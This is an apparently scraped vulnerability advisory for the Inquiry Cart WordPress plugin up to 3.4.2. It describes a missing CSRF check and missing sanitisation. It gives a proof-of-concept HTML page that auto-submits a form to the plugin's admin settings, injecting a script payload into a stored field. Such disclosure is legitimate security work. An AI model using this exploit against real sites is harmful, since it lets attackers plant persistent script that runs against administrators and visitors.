Inquiry Cart <= 3.4.2 - Stored XSS via CSRF

2024-05-2400:00:00

Bob Matyas

inquiry cart

stored xss

csrf

poc

june 07 2024

user update

exploit

9 High

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

9.1%

JSON

Description The plugin does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add Stored XSS payloads via a CSRF attack

Make a logged in admin open an HTML file containing:

```

<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/options-general.php?page=inquiry-cart%2Finquiry-cart.php" method="post">
    <input name="send-message-to" type="text" value='"><script>alert(9995)</script>'>
    <input type="text" name="rd-ic-hidden" value="y">
    <input type="submit" name="submit" value="submit">
    </form>
</body>

```